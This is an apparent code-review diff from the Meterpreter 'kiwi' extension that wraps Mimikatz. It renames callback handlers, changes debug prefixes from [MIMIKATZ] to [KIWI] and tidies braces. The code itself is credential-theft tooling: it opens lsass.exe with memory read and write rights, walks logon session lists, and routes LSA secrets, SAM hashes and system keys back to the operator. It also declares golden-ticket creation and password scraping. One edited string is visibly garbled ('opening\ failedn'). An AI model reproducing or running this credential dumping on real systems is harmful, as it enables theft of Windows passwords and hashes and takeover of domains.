// can be added directly to the packet
|
||||||
callbackCtx.lpContext = response;
|
callbackCtx.lpContext = pResponse;
|
||||||
callbackCtx.pCompNameHandler = CompNameHandler;
|
callbackCtx.pCompNameHandler = comp_name_handler;
|
||||||
callbackCtx.pSysKeyHandler = SysKeyHandler;
|
callbackCtx.pSysKeyHandler = sys_key_handler;
|
||||||
callbackCtx.pPolicyVersionHandler = PolicyVersionHandler;
|
callbackCtx.pPolicyVersionHandler = policy_version_handler;
|
||||||
callbackCtx.pNt6KeyStreamHandler = Nt6KeyStreamHandler;
|
callbackCtx.pNt6KeyStreamHandler = nt6_key_stream_handler;
|
||||||
callbackCtx.pNt6KeyHandler = Nt6KeyHandler;
|
callbackCtx.pNt6KeyHandler = nt6_key_handler;
|
||||||
callbackCtx.pNt5KeyHandler = Nt5KeyHandler;
|
callbackCtx.pNt5KeyHandler = nt5_key_handler;
|
||||||
callbackCtx.pSecretHandler = SecretHandler;
|
callbackCtx.pSecretHandler = lsa_secret_handler;
|
||||||
callbackCtx.pSamHashHandler = SamHashHandler;
|
callbackCtx.pSamHashHandler = sam_hash_handler;
|
||||||
|
|
||||||
return kuhl_m_lsadump_full(&callbackCtx);
|
return kuhl_m_lsadump_full(&callbackCtx);
|
||||||
}
|
}
|
@ -1,14 +1,19 @@
|
|||||||
|
/*!
|
||||||
|
* @file mimikatz_interface.h
|
||||||
|
* @brief Declaration of bridging functions which talk to Mimikatz 2.
|
||||||
|
* @remark Also contains helpful forward declarations.
|
||||||
|
*/
|
||||||
#ifndef _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_INTERFACE_H
|
#ifndef _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_INTERFACE_H
|
||||||
#define _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_INTERFACE_H
|
#define _METERPRETER_SOURCE_EXTENSION_MIMIKATZ_MIMIKATZ_INTERFACE_H
|
||||||
|
|
||||||
typedef struct _Packet Packet;
|
typedef struct _Packet Packet;
|
||||||
|
|
||||||
DWORD mimikatz_initOrClean(BOOL Init);
|
DWORD mimikatz_init_or_clean(BOOL bInit);
|
||||||
DWORD mimikatz_scrape_passwords(DWORD cmdId, Packet* packet);
|
DWORD mimikatz_scrape_passwords(DWORD dwCmdId, Packet* pResponse);
|
||||||
DWORD mimikatz_kerberos_golden_ticket_create(LPSTR user, LPSTR domain, LPSTR sid, LPSTR ntlm, Packet* response);
|
DWORD mimikatz_kerberos_golden_ticket_create(LPSTR lpUser, LPSTR lpDomain, LPSTR lpSid, LPSTR lpNtlm, Packet* pResponse);
|
||||||
DWORD mimikatz_kerberos_ticket_use(BYTE* buffer, DWORD bufferSize);
|
DWORD mimikatz_kerberos_ticket_use(BYTE* pBuffer, DWORD dwBufferSize);
|
||||||
DWORD mimikatz_kerberos_ticket_purge();
|
DWORD mimikatz_kerberos_ticket_purge();
|
||||||
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* response);
|
DWORD mimikatz_kerberos_ticket_list(BOOL bExport, Packet* pResponse);
|
||||||
DWORD mimikatz_lsa_dump_secrets(Packet* response);
|
DWORD mimikatz_lsa_dump_secrets(Packet* pResponse);
|
||||||
|
|
||||||
#endif
|
#endif
|
@ -509,7 +509,7 @@ BOOL kuhl_m_lsadump_getLsaKeyAndSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN
|
|||||||
kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0);
|
kull_m_string_wprintf_hex(nt5key->key, sizeof(NT5_SYSTEM_KEY), 0);
|
||||||
kprintf(L"\n");
|
kprintf(L"\n");
|
||||||
if (callbackCtx && callbackCtx->pNt5KeyHandler)
|
if (callbackCtx && callbackCtx->pNt5KeyHandler)
|
||||||
callbackCtx->pNt5KeyHandler(callbackCtx->lpContext, i, nt5key);
|
callbackCtx->pNt5KeyHandler(callbackCtx->lpContext, nt5key);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -245,7 +245,7 @@ typedef struct _MSCACHE_DATA {
|
|||||||
typedef struct _LSA_CALLBACK_CTX
|
typedef struct _LSA_CALLBACK_CTX
|
||||||
{
|
{
|
||||||
VOID (*pPolicyVersionHandler)(LPVOID lpContext, USHORT usMajor, USHORT usMinor);
|
VOID (*pPolicyVersionHandler)(LPVOID lpContext, USHORT usMajor, USHORT usMinor);
|
||||||
VOID (*pNt5KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT5_SYSTEM_KEY pSysKey);
|
VOID (*pNt5KeyHandler)(LPVOID lpContext, PNT5_SYSTEM_KEY pSysKey);
|
||||||
VOID (*pNt6KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey);
|
VOID (*pNt6KeyHandler)(LPVOID lpContext, DWORD dwIndex, PNT6_SYSTEM_KEY pSysKey);
|
||||||
VOID (*pNt6KeyStreamHandler)(LPVOID lpContext, PNT6_SYSTEM_KEYS pSyskeyStream);
|
VOID (*pNt6KeyStreamHandler)(LPVOID lpContext, PNT6_SYSTEM_KEYS pSyskeyStream);
|
||||||
VOID (*pCompNameHandler)(LPVOID lpContext, wchar_t* lpwComputerName);
|
VOID (*pCompNameHandler)(LPVOID lpContext, wchar_t* lpwComputerName);
|
||||||
|
@ -90,7 +90,7 @@ NTSTATUS kuhl_m_sekurlsa_nt5_init()
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else PRINT_ERROR(L"[MIMIKATZ] failed to load lsasrv");
|
} else PRINT_ERROR(L"[KIWI] failed to load lsasrv");
|
||||||
}
|
}
|
||||||
return kuhl_m_sekurlsa_nt5_KeyInit;
|
return kuhl_m_sekurlsa_nt5_KeyInit;
|
||||||
}
|
}
|
||||||
|
@ -93,8 +93,10 @@ NTSTATUS kuhl_m_sekurlsa_process(int argc, wchar_t * argv[])
|
|||||||
NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[])
|
NTSTATUS kuhl_m_sekurlsa_minidump(int argc, wchar_t * argv[])
|
||||||
{
|
{
|
||||||
kprintf(L"Switch to MINIDUMP\n");
|
kprintf(L"Switch to MINIDUMP\n");
|
||||||
if(argc != 1)
|
if (argc != 1)
|
||||||
dprintf(L"[MIMIKATZ] <minidumpfile.dmp> argument is missing\n");
|
{
|
||||||
|
dprintf(L"[KIWI] <minidumpfile.dmp> argument is missing\n");
|
||||||
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
kuhl_m_sekurlsa_reset();
|
kuhl_m_sekurlsa_reset();
|
||||||
@ -144,7 +146,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_range(PMEMORY_BASIC_INFORMATION pMemoryBasicI
|
|||||||
|
|
||||||
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
|
NTSTATUS kuhl_m_sekurlsa_all(int argc, wchar_t * argv[])
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] Running kuhl_m_sekurlsa_getLogonData");
|
dprintf(L"[KIWI] Running kuhl_m_sekurlsa_getLogonData");
|
||||||
return kuhl_m_sekurlsa_getLogonData(lsassPackages, sizeof(lsassPackages) / sizeof(PKUHL_M_SEKURLSA_PACKAGE), NULL, NULL);
|
return kuhl_m_sekurlsa_getLogonData(lsassPackages, sizeof(lsassPackages) / sizeof(PKUHL_M_SEKURLSA_PACKAGE), NULL, NULL);
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -169,7 +171,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
|
|||||||
PMINIDUMP_SYSTEM_INFO pInfos;
|
PMINIDUMP_SYSTEM_INFO pInfos;
|
||||||
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
|
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE;
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] Attempting to acquire LSA");
|
dprintf(L"[KIWI] Attempting to acquire LSA");
|
||||||
|
|
||||||
if(!cLsass.hLsassMem)
|
if(!cLsass.hLsassMem)
|
||||||
{
|
{
|
||||||
@ -186,7 +188,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
|
|||||||
Type = KULL_M_MEMORY_TYPE_PROCESS;
|
Type = KULL_M_MEMORY_TYPE_PROCESS;
|
||||||
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
|
if(kull_m_process_getProcessIdForName(L"lsass.exe", &pid))
|
||||||
hData = OpenProcess(processRights, FALSE, pid);
|
hData = OpenProcess(processRights, FALSE, pid);
|
||||||
else dprintf(L"[MIMIKATZ] LSASS process not found (?)\n");
|
else dprintf(L"[KIWI] LSASS process not found (?)\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
if(hData && hData != INVALID_HANDLE_VALUE)
|
if(hData && hData != INVALID_HANDLE_VALUE)
|
||||||
@ -202,16 +204,22 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
|
|||||||
cLsass.osContext.BuildNumber = pInfos->BuildNumber;
|
cLsass.osContext.BuildNumber = pInfos->BuildNumber;
|
||||||
|
|
||||||
if(cLsass.osContext.MajorVersion != MIMIKATZ_NT_MAJOR_VERSION)
|
if(cLsass.osContext.MajorVersion != MIMIKATZ_NT_MAJOR_VERSION)
|
||||||
dprintf(L"[MIMIKATZ] Minidump pInfos->MajorVersion (%u) != MIMIKATZ_NT_MAJOR_VERSION (%u)\n", pInfos->MajorVersion, MIMIKATZ_NT_MAJOR_VERSION);
|
{
|
||||||
|
dprintf(L"[KIWI] Minidump pInfos->MajorVersion (%u) != MIMIKATZ_NT_MAJOR_VERSION (%u)\n", pInfos->MajorVersion, MIMIKATZ_NT_MAJOR_VERSION);
|
||||||
|
}
|
||||||
#ifdef _M_X64
|
#ifdef _M_X64
|
||||||
if(pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64)
|
if (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_AMD64)
|
||||||
dprintf(L"[MIMIKATZ] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
|
{
|
||||||
|
dprintf(L"[KIWI] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_AMD64 (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_AMD64);
|
||||||
|
}
|
||||||
#elif defined _M_IX86
|
#elif defined _M_IX86
|
||||||
if(pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL)
|
if (pInfos->ProcessorArchitecture != PROCESSOR_ARCHITECTURE_INTEL)
|
||||||
dprintf(L"[MIMIKATZ] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
|
{
|
||||||
|
dprintf(L"[KIWI] Minidump pInfos->ProcessorArchitecture (%u) != PROCESSOR_ARCHITECTURE_INTEL (%u)\n", pInfos->ProcessorArchitecture, PROCESSOR_ARCHITECTURE_INTEL);
|
||||||
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
else dprintf(L"[MIMIKATZ] Minidump without SystemInfoStream (?)\n");
|
else dprintf(L"[KIWI] Minidump without SystemInfoStream (?)\n");
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
@ -229,16 +237,18 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
|
|||||||
{
|
{
|
||||||
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
|
status = lsassLocalHelper->AcquireKeys(&cLsass, &lsassPackages[0]->Module.Informations);
|
||||||
|
|
||||||
if(!NT_SUCCESS(status))
|
if (!NT_SUCCESS(status))
|
||||||
dprintf(L"[MIMIKATZ] Key import\n");
|
{
|
||||||
|
dprintf(L"[KIWI] Key import failed\n");
|
||||||
}
|
}
|
||||||
else dprintf(L"[MIMIKATZ] Logon list\n");
|
|
||||||
}
|
}
|
||||||
else dprintf(L"[MIMIKATZ] Modules informations\n");
|
else dprintf(L"[KIWI] Logon list failed\n");
|
||||||
}
|
}
|
||||||
else dprintf(L"[MIMIKATZ] Memory opening\n");
|
else dprintf(L"[KIWI] Modules informations failed\n");
|
||||||
}
|
}
|
||||||
else dprintf(L"[MIMIKATZ] Handle of memory : %08x\n", GetLastError());
|
else dprintf(L"[KIWI] Memory opening\ failedn");
|
||||||
|
}
|
||||||
|
else dprintf(L"[KIWI] Handle of memory : %08x\n", GetLastError());
|
||||||
|
|
||||||
if(!NT_SUCCESS(status))
|
if(!NT_SUCCESS(status))
|
||||||
{
|
{
|
||||||
@ -246,7 +256,7 @@ NTSTATUS kuhl_m_sekurlsa_acquireLSA()
|
|||||||
CloseHandle(hData);
|
CloseHandle(hData);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
else dprintf(L"[MIMIKATZ] Local LSA library failed\n");
|
else dprintf(L"[KIWI] Local LSA library failed\n");
|
||||||
}
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
@ -279,7 +289,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa
|
|||||||
|
|
||||||
if(NT_SUCCESS(status))
|
if(NT_SUCCESS(status))
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] Acquired LSA");
|
dprintf(L"[KIWI] Acquired LSA");
|
||||||
sessionData.cLsass = &cLsass;
|
sessionData.cLsass = &cLsass;
|
||||||
sessionData.lsassLocalHelper = lsassLocalHelper;
|
sessionData.lsassLocalHelper = lsassLocalHelper;
|
||||||
|
|
||||||
@ -299,7 +309,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa
|
|||||||
kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG));
|
kull_m_memory_copy(&data, &securityStruct, sizeof(ULONG));
|
||||||
else *(PULONG) data.address = 1;
|
else *(PULONG) data.address = 1;
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] iterating %d lists", nbListes);
|
dprintf(L"[KIWI] iterating %d lists", nbListes);
|
||||||
for(i = 0; i < nbListes; i++)
|
for(i = 0; i < nbListes; i++)
|
||||||
{
|
{
|
||||||
securityStruct.address = &LogonSessionList[i];
|
securityStruct.address = &LogonSessionList[i];
|
||||||
@ -307,10 +317,10 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa
|
|||||||
data.hMemory = &hLocalMemory;
|
data.hMemory = &hLocalMemory;
|
||||||
if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
|
if(aBuffer.address = LocalAlloc(LPTR, helper->tailleStruct))
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] List %d allocated", i);
|
dprintf(L"[KIWI] List %d allocated", i);
|
||||||
if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID)))
|
if(kull_m_memory_copy(&data, &securityStruct, sizeof(PVOID)))
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] List %d memory copied", i);
|
dprintf(L"[KIWI] List %d memory copied", i);
|
||||||
data.address = pStruct;
|
data.address = pStruct;
|
||||||
data.hMemory = securityStruct.hMemory;
|
data.hMemory = securityStruct.hMemory;
|
||||||
|
|
||||||
@ -326,7 +336,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa
|
|||||||
sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
|
sessionData.pCredentials= *(PVOID *) ((PBYTE) aBuffer.address + helper->offsetToCredentials);
|
||||||
sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
|
sessionData.pSid = *(PSID *) ((PBYTE) aBuffer.address + helper->offsetToPSid);
|
||||||
|
|
||||||
dprintf(L"[MIMIKATZ] List %d getting strings", i);
|
dprintf(L"[KIWI] List %d getting strings", i);
|
||||||
kull_m_string_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
|
kull_m_string_getUnicodeString(sessionData.UserName, cLsass.hLsassMem);
|
||||||
kull_m_string_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
|
kull_m_string_getUnicodeString(sessionData.LogonDomain, cLsass.hLsassMem);
|
||||||
kuhl_m_sekurlsa_utils_getSid(&sessionData.pSid, cLsass.hLsassMem);
|
kuhl_m_sekurlsa_utils_getSid(&sessionData.pSid, cLsass.hLsassMem);
|
||||||
@ -348,7 +358,7 @@ NTSTATUS kuhl_m_sekurlsa_enum(PKUHL_M_SEKURLSA_ENUM callback, LPVOID pOptionalDa
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
dprintf(L"[MIMIKATZ] Failed to acquire LSA: %u %x", status, status);
|
dprintf(L"[KIWI] Failed to acquire LSA: %u %x", status, status);
|
||||||
}
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
@ -357,7 +367,7 @@ BOOL CALLBACK kuhl_m_sekurlsa_enum_callback_logondata(IN PKIWI_BASIC_SECURITY_LO
|
|||||||
{
|
{
|
||||||
PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
|
PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA pLsassData = (PKUHL_M_SEKURLSA_GET_LOGON_DATA_CALLBACK_DATA) pOptionalData;
|
||||||
ULONG i;
|
ULONG i;
|
||||||
dprintf(L"[MIMIKATZ] callback invoked with %p", pData);
|
dprintf(L"[KIWI] callback invoked with %p", pData);
|
||||||
if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/)
|
if((pData->LogonType != Network)/* && pData->LogonType != UndefinedLogonType*/)
|
||||||
{
|
{
|
||||||
kuhl_m_sekurlsa_printinfos_logonData(pData);
|
kuhl_m_sekurlsa_printinfos_logonData(pData);
|
||||||
|
@ -630,9 +630,6 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
|
|||||||
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_string.h" />
|
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_string.h" />
|
||||||
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_token.h" />
|
<ClInclude Include="..\..\source\extensions\kiwi\modules\kull_m_token.h" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.rc" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\main.c" />
|
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\main.c" />
|
||||||
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.c" />
|
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.c" />
|
||||||
|
@ -153,9 +153,6 @@
|
|||||||
<Filter>modules\kerberos</Filter>
|
<Filter>modules\kerberos</Filter>
|
||||||
</ClInclude>
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
|
||||||
<ResourceCompile Include="..\..\source\extensions\kiwi\mimikatz\mimikatz.rc" />
|
|
||||||
</ItemGroup>
|
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c">
|
<ClCompile Include="..\..\source\extensions\kiwi\mimikatz\modules\sekurlsa\crypto\kuhl_m_sekurlsa_nt5.c">
|
||||||
<Filter>modules\sekurlsa\crypto</Filter>
|
<Filter>modules\sekurlsa\crypto</Filter>
|
||||||
|
Loading…
x
Reference in New Issue
Block a user